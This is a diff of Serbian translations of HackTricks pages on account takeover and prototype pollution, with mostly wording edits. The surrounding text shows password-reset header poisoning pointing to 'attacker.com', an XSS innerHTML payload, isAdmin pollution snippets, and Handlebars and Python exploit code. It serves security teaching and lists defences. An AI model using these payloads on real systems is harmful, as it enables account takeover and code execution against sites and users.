@ -177,7 +185,7 @@ Ako koristite **staru verziju** Werkzuga, pokušajte promeniti **algoritam heši
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -7,20 +7,20 @@
|
|||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## **Problemi sa autorizacijom**
|
||||
## **Problemi sa ovlašćenjem**
|
||||
|
||||
Email naloga treba pokušati promeniti, a proces potvrde **mora biti ispitano**. Ako se utvrdi da je **slab**, email treba promeniti na email žrtve i zatim potvrditi.
|
||||
Email naloga treba pokušati promeniti, a proces potvrde **mora biti ispitano**. Ako se utvrdi da je **slab**, email treba promeniti u email žrtve i zatim potvrditi.
|
||||
|
||||
## **Problemi sa normalizacijom Unicode-a**
|
||||
|
||||
1. Nalog žrtve `victim@gmail.com`
|
||||
1. Nalog namenjene žrtve `victim@gmail.com`
|
||||
2. Nalog treba kreirati koristeći Unicode\
|
||||
na primer: `vićtim@gmail.com`
|
||||
|
||||
|
@ -28,19 +28,19 @@ Za više detalja, pogledajte dokument o normalizaciji Unicode-a:
|
|||
|
||||
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
|
||||
|
||||
## **Ponovna upotreba tokena za resetovanje**
|
||||
## **Ponovna upotreba reset tokena**
|
||||
|
||||
Ako ciljni sistem dozvoljava **ponovnu upotrebu reset linka**, treba uložiti napore da se **pronađu dodatni reset linkovi** koristeći alate poput `gau`, `wayback` ili `scan.io`.
|
||||
Ako ciljni sistem dozvoljava **ponovnu upotrebu reset linka**, treba uložiti napore da se **pronađu dodatni reset linkovi** koristeći alate poput `gau`, `wayback`, ili `scan.io`.
|
||||
|
||||
## **Pre preuzimanja naloga**
|
||||
|
||||
1. Email žrtve treba koristiti za registraciju na platformi, i postaviti lozinku (treba pokušati potvrditi je, iako nedostatak pristupa emailovima žrtve može učiniti ovo nemogućim).
|
||||
1. Email žrtve treba koristiti za registraciju na platformi, i postaviti šifru (treba pokušati potvrditi je, iako nedostatak pristupa emailovima žrtve može učiniti ovo nemogućim).
|
||||
2. Treba sačekati da žrtva se registruje koristeći OAuth i potvrdi nalog.
|
||||
3. Nadamo se da će se redovna registracija potvrditi, omogućavajući pristup nalogu žrtve.
|
||||
|
||||
## **CORS konfiguracija za preuzimanje naloga**
|
||||
## **CORS loša konfiguracija za preuzimanje naloga**
|
||||
|
||||
Ako stranica sadrži **CORS konfiguracione greške** možda ćete moći **ukrasti osetljive informacije** od korisnika za **preuzimanje njegovog naloga** ili ga naterati da promeni autentifikacione informacije u iste svrhe:
|
||||
Ako stranica sadrži **CORS loše konfiguracije** možda ćete moći **ukrasti osetljive informacije** od korisnika za **preuzimanje njegovog naloga** ili ga naterati da promeni autentifikacione informacije u iste svrhe:
|
||||
|
||||
{% content-ref url="cors-bypass.md" %}
|
||||
[cors-bypass.md](cors-bypass.md)
|
||||
|
@ -48,7 +48,7 @@ Ako stranica sadrži **CORS konfiguracione greške** možda ćete moći **ukrast
|
|||
|
||||
## **Csrf za preuzimanje naloga**
|
||||
|
||||
Ako je stranica ranjiva na CSRF možda ćete moći da naterate **korisnika da promeni svoju lozinku**, email ili autentifikaciju kako biste zatim pristupili tome:
|
||||
Ako je stranica ranjiva na CSRF možda ćete moći da naterate **korisnika da promeni svoju šifru**, email ili autentifikaciju kako biste zatim pristupili tome:
|
||||
|
||||
{% content-ref url="csrf-cross-site-request-forgery.md" %}
|
||||
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
|
||||
|
@ -56,7 +56,7 @@ Ako je stranica ranjiva na CSRF možda ćete moći da naterate **korisnika da pr
|
|||
|
||||
## **XSS za preuzimanje naloga**
|
||||
|
||||
Ako pronađete XSS u aplikaciji možda ćete moći da ukradete kolačiće, lokalno skladište ili informacije sa web stranice koje bi vam omogućile preuzimanje naloga:
|
||||
Ako pronađete XSS u aplikaciji možda ćete moći da ukradete kolačiće, lokalno skladište, ili informacije sa web stranice koje bi vam omogućile preuzimanje naloga:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/" %}
|
||||
[xss-cross-site-scripting](xss-cross-site-scripting/)
|
||||
|
@ -70,7 +70,7 @@ Ako pronađete ograničeni XSS ili preuzimanje poddomena, možete manipulisati k
|
|||
[hacking-with-cookies](hacking-with-cookies/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Napad na mehanizam resetovanja lozinke**
|
||||
## **Napad na mehanizam resetovanja šifre**
|
||||
|
||||
{% content-ref url="reset-password.md" %}
|
||||
[reset-password.md](reset-password.md)
|
||||
|
@ -78,7 +78,7 @@ Ako pronađete ograničeni XSS ili preuzimanje poddomena, možete manipulisati k
|
|||
|
||||
## **Manipulacija odgovorom**
|
||||
|
||||
Ako se autentifikacioni odgovor može **smanjiti na jednostavnu boolean vrednost, pokušajte da promenite false u true** i vidite da li dobijate pristup.
|
||||
Ako se autentifikacioni odgovor može **svedeti na jednostavni boolean pokušajte da promenite false u true** i vidite da li dobijate pristup.
|
||||
|
||||
## OAuth za preuzimanje naloga
|
||||
|
||||
|
@ -88,10 +88,10 @@ Ako se autentifikacioni odgovor može **smanjiti na jednostavnu boolean vrednost
|
|||
|
||||
## Umetanje zaglavlja domaćina
|
||||
|
||||
1. Zaglavlje domaćina se menja prilikom iniciranja zahteva za resetovanje lozinke.
|
||||
1. Zaglavlje domaćina se menja prilikom iniciranja zahteva za resetovanje šifre.
|
||||
2. `X-Forwarded-For` proxy zaglavlje se menja u `attacker.com`.
|
||||
3. Zaglavlja Host, Referrer i Origin se istovremeno menjaju u `attacker.com`.
|
||||
4. Nakon iniciranja resetovanja lozinke, i zatim izbora za ponovno slanje emaila, koriste se sva tri navedena metoda.
|
||||
3. Zaglavlja Domaćina, Referrera i Porekla se istovremeno menjaju u `attacker.com`.
|
||||
4. Nakon iniciranja resetovanja šifre, a zatim izbora za ponovno slanje emaila, koriste se sva tri navedena metoda.
|
||||
|
||||
## Manipulacija odgovorom
|
||||
|
||||
|
@ -110,7 +110,9 @@ Iz [ovog izveštaja](https://dynnyd20.medium.com/one-click-account-take-over-e50
|
|||
* Napadač dobija link za potvrdu promene emaila
|
||||
* Napadač šalje žrtvi link da ga klikne
|
||||
* Email žrtve se menja na onaj koji je naznačio napadač
|
||||
* Napadač može povratiti lozinku i preuzeti nalog
|
||||
* Napad može povratiti šifru i preuzeti nalog
|
||||
|
||||
Ovo se takođe desilo u [**ovom izveštaju**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -124,8 +126,8 @@ Iz [ovog izveštaja](https://dynnyd20.medium.com/one-click-account-take-over-e50
|
|||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -21,7 +21,7 @@ Objekti u JavaScript-u su suštinski kolekcije parova ključ-vrednost, poznate k
|
|||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)); // This will output an empty object.
|
||||
```
|
||||
### Funkcije i Klase u JavaScript-u
|
||||
### Funkcije i klase u JavaScript-u
|
||||
|
||||
U JavaScript-u, klase i funkcije su blisko povezane, pri čemu funkcije često služe kao konstruktori za klase. Uprkos nedostatku podrške za nativne klase u JavaScript-u, konstruktori mogu emulirati ponašanje klasa.
|
||||
```javascript
|
||||
|
@ -43,21 +43,21 @@ employee1.__proto__
|
|||
```
|
||||
### Prototipovi u JavaScript-u
|
||||
|
||||
JavaScript omogućava modifikaciju, dodavanje ili brisanje prototip atributa tokom izvršavanja. Ova fleksibilnost omogućava dinamičko proširenje funkcionalnosti klase.
|
||||
JavaScript omogućava modifikaciju, dodavanje ili brisanje prototipnih atributa tokom izvršavanja. Ova fleksibilnost omogućava dinamičko proširenje funkcionalnosti klase.
|
||||
|
||||
Funkcije poput `toString` i `valueOf` mogu biti promenjene kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScript-ovog prototip sistema.
|
||||
Funkcije poput `toString` i `valueOf` mogu biti izmenjene kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScript-ovog prototipnog sistema.
|
||||
|
||||
## Nasleđivanje
|
||||
|
||||
U programiranju zasnovanom na prototipima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.
|
||||
U programiranju zasnovanom na prototipovima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.
|
||||
|
||||
Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je `myPersonObj`), nasleđeni objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.
|
||||
Važno je napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je `myPersonObj`), nasleđeni objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.
|
||||
|
||||
## Zagađenje \_\_proto\_\_ <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
|
||||
## Istraživanje Zagađenja Prototipa u JavaScript-u
|
||||
|
||||
JavaScript objekti su definisani parovima ključ-vrednost i nasleđuju JavaScript Object prototip. Ovo znači da menjanje Object prototipa može uticati na sve objekte u okruženju.
|
||||
JavaScript objekti su definisani parovima ključ-vrednost i nasleđuju se od JavaScript Object prototipa. To znači da izmena Object prototipa može uticati na sve objekte u okruženju.
|
||||
|
||||
Hajde da koristimo drugi primer kako bismo ilustrovali:
|
||||
```javascript
|
||||
|
@ -66,7 +66,7 @@ this.model = model;
|
|||
}
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
```
|
||||
Pristup Prototipu objekta je moguć putem:
|
||||
Pristup Prototipu objekta je moguć preko:
|
||||
```javascript
|
||||
car1.__proto__.__proto__;
|
||||
Vehicle.__proto__.__proto__;
|
||||
|
@ -106,7 +106,7 @@ Ovo utiče samo na objekte kreirane iz konstruktora `Vehicle`, dajući im osobin
|
|||
|
||||
Dva načina za globalno uticanje na JavaScript objekte putem zagađenja prototipa uključuju:
|
||||
|
||||
1. Zagađenje `Object.prototype` direktno:
|
||||
1. Zagađivanje `Object.prototype` direktno:
|
||||
```javascript
|
||||
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
||||
```
|
||||
|
@ -154,9 +154,9 @@ b[0] //undefined
|
|||
b[1] //"yolo"
|
||||
c[1] // 2 -- not
|
||||
```
|
||||
### Zagađivanje HTML elemenata
|
||||
### Zagađenje HTML elemenata
|
||||
|
||||
Prilikom generisanja HTML elementa putem JS-a moguće je **prepisati** atribut **`innerHTML`** kako bi se napisao **proizvoljan HTML kod.** [Ideja i primer iz ovog teksta](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
Prilikom generisanja HTML elementa putem JS-a moguće je **prepisati** atribut **`innerHTML`** kako bi se napisao **proizvoljan HTML kod.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -175,13 +175,13 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### Osnovni primer
|
||||
|
||||
Do protočne zagađenja dolazi zbog greške u aplikaciji koja omogućava prepisivanje svojstava na `Object.prototype`. To znači da pošto većina objekata izvodi svoja svojstva iz `Object.prototype`
|
||||
Do protočna zagađenja dolazi zbog greške u aplikaciji koja omogućava prepisivanje svojstava na `Object.prototype`. To znači da pošto većina objekata izvodi svoja svojstva iz `Object.prototype`
|
||||
|
||||
Najjednostavniji primer je dodavanje vrednosti **nedefinisanom atributu objekta** koji će biti proveren, kao što je:
|
||||
```javascript
|
||||
if (user.admin) {
|
||||
```
|
||||
Ako atribut **`admin` nije definisan**, moguće je zloupotrebiti PP i postaviti ga na True pomoću nečega poput:
|
||||
Ako je atribut **`admin` nedefinisan**, moguće je zloupotrebiti PP i postaviti ga na True nečim poput:
|
||||
```javascript
|
||||
Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
|
@ -189,13 +189,13 @@ user.isAdmin // true
|
|||
```
|
||||
Mehanizam iza ovoga uključuje manipulisanje svojstvima tako da ako napadač ima kontrolu nad određenim ulazima, mogu izmeniti prototip svih objekata u aplikaciji. Ova manipulacija obično uključuje postavljanje svojstva `__proto__`, koje je u JavaScript-u sinonim za direktno modifikovanje prototipa objekta.
|
||||
|
||||
Uslovi pod kojima se ovaj napad može uspešno izvršiti, kako je navedeno u određenoj [studiji](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), uključuju:
|
||||
Uslovi pod kojima se ovaj napad može uspešno izvršiti, kako je navedeno u specifičnoj [studiji](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), uključuju:
|
||||
|
||||
* Izvođenje rekurzivnog spajanja.
|
||||
* Definisanje svojstava na osnovu putanje.
|
||||
* Kloniranje objekata.
|
||||
|
||||
### Poništavanje funkcije
|
||||
### Pregaziti funkciju
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
|
@ -205,6 +205,10 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
|||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Drugi payload-ovi:
|
||||
|
||||
* [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||
|
||||
## Klijentsko proto zagađenje do XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
|
@ -218,9 +222,9 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
|||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||
console.log({}.devMode); // Outputs: true
|
||||
```
|
||||
Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija može nenamerno izmeniti prototip, dovodeći do potencijalnih sigurnosnih rizika, kao što je neovlašćen pristup admin panelu ako se svojstva poput `isAdmin` provere bez odgovarajuće provere postojanja.
|
||||
Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija može nenamerno izmeniti prototip, dovodeći do potencijalnih sigurnosnih rizika, kao što je neovlašćen pristup adminu ako se svojstva poput `isAdmin` provere bez odgovarajuće provere postojanja.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Napad prototipom preko lodash-a
|
||||
### CVE-2018–3721, CVE-2019–10744: Napad prototipom kroz lodash
|
||||
|
||||
[Za dalje detalje pogledajte ovaj članak](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
|
@ -230,26 +234,26 @@ Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija
|
|||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
### Alati za otkrivanje Prototip Pollution-a
|
||||
### Alati za otkrivanje Prototip Pollution
|
||||
|
||||
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite ekstenzija dizajnirana za otkrivanje i analizu ranjivosti prototipa pollution na serverskoj strani u web aplikacijama. Ovaj alat automatizuje proces skeniranja za identifikaciju potencijalnih problema sa prototipom pollution. Iskorišćava poznate gedžete - metode iskorištavanja prototip pollution-a radi izvršavanja štetnih akcija - posebno se fokusirajući na Node.js biblioteke.
|
||||
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Ova ekstenzija identifikuje ranjivosti prototipa pollution na serverskoj strani. Koristi tehnike opisane u [prototip pollution na serverskoj strani](https://portswigger.net/research/server-side-prototype-pollution).
|
||||
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite ekstenzija dizajnirana za otkrivanje i analizu ranjivosti prototipa zagađenja na serverskoj strani u veb aplikacijama. Ovaj alat automatizuje proces skeniranja za identifikaciju potencijalnih problema sa prototipom zagađenja. Iskorišćava poznate gedžete - metode za iskorišćavanje prototipnog zagađenja radi izvođenja štetnih radnji - posebno se fokusirajući na Node.js biblioteke.
|
||||
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Ova ekstenzija identifikuje ranjivosti prototipa zagađenja na serverskoj strani. Koristi tehnike opisane u [prototipu zagađenja na serverskoj strani](https://portswigger.net/research/server-side-prototype-pollution).
|
||||
|
||||
### AST Prototip Pollution u NodeJS-u
|
||||
|
||||
NodeJS intenzivno koristi Apstraktne Sintaksne Stabla (AST) u JavaScript-u za funkcionalnosti poput template motora i TypeScript-a. Ova sekcija istražuje ranjivosti povezane sa prototip pollution-om u template motorima, posebno Handlebars i Pug.
|
||||
NodeJS intenzivno koristi Apstraktne Sintaksne Stabla (AST) u JavaScript-u za funkcionalnosti poput mašina za šablone i TypeScript-a. Ova sekcija istražuje ranjivosti povezane sa prototipom zagađenja u mašinama za šablone, posebno Handlebars i Pug.
|
||||
|
||||
#### Analiza Ranjivosti Handlebars-a
|
||||
|
||||
Template motor Handlebars je podložan napadu prototipom pollution-a. Ova ranjivost proizilazi iz specifičnih funkcija unutar fajla `javascript-compiler.js`. Na primer, funkcija `appendContent` konkatenira `pendingContent` ako je prisutna, dok funkcija `pushSource` resetuje `pendingContent` na `undefined` nakon dodavanja izvora.
|
||||
Mašina za šablone Handlebars je podložna napadu prototipom zagađenja. Ova ranjivost proizilazi iz specifičnih funkcija unutar fajla `javascript-compiler.js`. Na primer, funkcija `appendContent` konkatenira `pendingContent` ako je prisutna, dok funkcija `pushSource` resetuje `pendingContent` na `undefined` nakon dodavanja izvora.
|
||||
|
||||
**Proces Eksploatacije**
|
||||
**Proces eksploatacije**
|
||||
|
||||
Eksploatacija koristi AST (Apstraktno Sintaksno Stablo) koje proizvodi Handlebars, sledeći ove korake:
|
||||
|
||||
1. **Manipulacija Parserom**: Prvo, parser, putem čvora `NumberLiteral`, nameće da vrednosti budu numeričke. Prototip pollution može zaobići ovo, omogućavajući umetanje ne-numeričkih stringova.
|
||||
2. **Obrada od strane Kompajlera**: Kompajler može obraditi AST objekat ili string šablon. Ako `input.type` jednak `Program`, ulaz se tretira kao preanaliziran, što može biti iskorišćeno.
|
||||
3. **Umetanje Koda**: Kroz manipulaciju `Object.prototype`, može se ubaciti proizvoljan kod u funkciju šablona, što može dovesti do izvršavanja udaljenog koda.
|
||||
1. **Manipulacija Parserom**: Prvo, parser, putem čvora `NumberLiteral`, nameće da vrednosti budu numeričke. Prototipno zagađenje može zaobići ovo, omogućavajući umetanje ne-numeričkih nizova.
|
||||
2. **Obrada od strane Kompajlera**: Kompajler može obraditi AST objekat ili string šablona. Ako `input.type` jednak `Program`, ulaz se tretira kao prethodno parsiran, što može biti iskorišćeno.
|
||||
3. **Umetanje Koda**: Kroz manipulaciju `Object.prototype`, može se ubaciti proizvoljan kod u funkciju šablona, što može dovesti do izvršenja udaljenog koda.
|
||||
|
||||
Primer koji demonstrira eksploataciju ranjivosti Handlebars-a:
|
||||
```javascript
|
||||
|
@ -274,11 +278,11 @@ const template = Handlebars.precompile(source);
|
|||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
```
|
||||
Ovaj kod prikazuje kako napadač može ubaciti proizvoljni kod u Handlebars šablon.
|
||||
Ovaj kod prikazuje kako napadač može ubaciti proizvoljni kod u Handlebars predložak.
|
||||
|
||||
**Spoljni Reference**: Pronađen je problem povezan sa zagađenjem prototipa u biblioteci 'flat', kako je detaljno opisano ovde: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
**Spoljni Reference**: Problem povezan sa zagađenjem prototipa pronađen je u 'flat' biblioteci, kako je detaljno opisano ovde: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
|
||||
**Spoljni Reference**: [Problem povezan sa zagađenjem prototipa u biblioteci 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||
**Spoljni Reference**: [Problem povezan sa zagađenjem prototipa u 'flat' biblioteci](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Primer eksploatacije zagađenja prototipa u Pythonu:
|
||||
```python
|
||||
|
@ -327,21 +331,21 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
### Mere zaštite
|
||||
### Preventivne mere
|
||||
|
||||
Da biste smanjili rizik od zagađenja prototipova, mogu se primeniti strategije navedene u nastavku:
|
||||
Da biste smanjili rizik od zagađenja prototipa, mogu se primeniti strategije navedene u nastavku:
|
||||
|
||||
1. **Nepromenljivost objekata**: `Object.prototype` može se učiniti nepromenljivim primenom `Object.freeze`.
|
||||
2. **Validacija unosa**: JSON unosi treba rigorozno validirati prema šemi aplikacije.
|
||||
3. **Funkcije sigurnog spajanja**: Treba izbegavati nebezbednu upotrebu rekurzivnih funkcija spajanja.
|
||||
4. **Objekti bez prototipa**: Objekti bez svojstava prototipa mogu se kreirati korišćenjem `Object.create(null)`.
|
||||
4. **Objekti bez prototipa**: Objekti bez prototipnih svojstava mogu se kreirati korišćenjem `Object.create(null)`.
|
||||
5. **Korišćenje mape**: Umesto `Object`, treba koristiti `Map` za čuvanje parova ključ-vrednost.
|
||||
6. **Ažuriranje biblioteka**: Bezbednosni zakrpi mogu se uključiti redovnim ažuriranjem biblioteka.
|
||||
7. **Linter i alati za statičku analizu**: Koristite alate poput ESLint sa odgovarajućim dodacima za otkrivanje i sprečavanje ranjivosti zagađenja prototipova.
|
||||
8. **Pregled koda**: Sprovedite temeljne preglede koda kako biste identifikovali i otklonili potencijalne rizike povezane sa zagađenjem prototipova.
|
||||
9. **Obuka o bezbednosti**: Edukujte programere o rizicima zagađenja prototipova i najboljim praksama za pisanje bezbednog koda.
|
||||
10. **Pažljiva upotreba biblioteka**: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procenite njihovu bezbednosnu postavku i pregledajte njihov kod, posebno one koji manipulišu objektima.
|
||||
11. **Zaštita tokom izvršavanja**: Koristite mehanizme zaštite tokom izvršavanja kao što su korišćenje npm paketa fokusiranih na bezbednost koji mogu otkriti i sprečiti napade zagađenja prototipova.
|
||||
7. **Linter i alati za statičku analizu**: Koristite alate poput ESLint sa odgovarajućim dodacima za otkrivanje i sprečavanje ranjivosti zagađenja prototipa.
|
||||
8. **Pregled koda**: Sprovedite temeljne preglede koda kako biste identifikovali i otklonili potencijalne rizike povezane sa zagađenjem prototipa.
|
||||
9. **Obuka o bezbednosti**: Edukujte programere o rizicima zagađenja prototipa i najboljim praksama za pisanje bezbednog koda.
|
||||
10. **Pažljivo korišćenje biblioteka**: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procenite njihovu bezbednosnu postavku i pregledajte njihov kod, posebno one koji manipulišu objektima.
|
||||
11. **Zaštita tokom izvršavanja**: Koristite mehanizme zaštite tokom izvršavanja poput korišćenja npm paketa fokusiranih na bezbednost koji mogu otkriti i sprečiti napade zagađenjem prototipa.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -356,10 +360,10 @@ Da biste smanjili rizik od zagađenja prototipova, mogu se primeniti strategije
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Prototipsko zagađenje do RCE
|
||||
# Prototip Pollution do RCE
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,17 +6,17 @@
|
|||
|
||||
